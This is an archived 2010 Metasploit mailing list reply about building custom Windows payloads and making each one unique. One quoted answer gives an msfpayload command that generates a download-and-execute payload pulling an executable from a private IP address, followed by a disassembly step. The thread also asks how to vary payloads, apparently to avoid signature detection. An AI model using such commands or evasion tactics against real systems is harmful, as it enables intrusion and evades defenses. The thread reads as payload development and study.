Metasploit mailing list archives
Re: Dynamic creation of payload executables with metasm
From: John Biondolillo <johnb.electric () gmail com>
Date: Mon, 31 May 2010 05:50:20 -0400
I'm on my windows 7 box so i tried using ida but it doesn't like analyzing raw binary code so it didn't convert all the opcodes into asm. I'll try it on my linux box. Thanks On Mon, May 31, 2010 at 2:23 AM, Eric <dkn4a1 () gmail com> wrote:
Well, i wud like to give an attempt to answer ur 1st question, not sure abt the second one. On Mon, May 31, 2010 at 12:03 AM, John Biondolillo < johnb.electric () gmail com> wrote:I know this is in the works but since I'm impatient I started working on it my self. I've got a basic payload that just displays a message box with user supplied data, its portable code so it can be used from Windows 2000 - Windows 7, but I'm new to assembly so there is no polymorphism meaning if you create two payloads with the same input they'd be identical I'm guessing this is were the encoders come in. I have two questions: 1. I can't find the asm source for download_exec, since its a simple payload its the next one I want to do, theres a million examples online but the one in the framework seems to be very reliable.Can anyone point me in the right direction to find it. on a linux box, with metasploit installed on it*$ msfpayload windows/download_exec URL=http://192.168.1.1/download.exe Rdownload_exec_payload**$ ndisasm -b 32 download_exec_payload > asm_code* * * As, you may already be knowing that this payload creates an executable named "a.exe" in the PWD of exploited process. * *2. Whats this best way to make each payload unique, adding junk code, random characters were able in the header, or just try to use one of the encoder stubs? Thanks John _______________________________________________ https://mail.metasploit.com/mailman/listinfo/framework
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Current thread:
- Dynamic creation of payload executables with metasm John Biondolillo (May 30)
- Re: Dynamic creation of payload executables with metasm Eric (May 30)
- Re: Dynamic creation of payload executables with metasm John Biondolillo (May 31)
- Re: Dynamic creation of payload executables with metasm John Biondolillo (May 31)
- Re: Dynamic creation of payload executables with metasm scriptjunkie (May 31)
- Re: Dynamic creation of payload executables with metasm John B (May 31)
- Re: Dynamic creation of payload executables with metasm John Biondolillo (May 31)
- Re: Dynamic creation of payload executables with metasm Eric (May 30)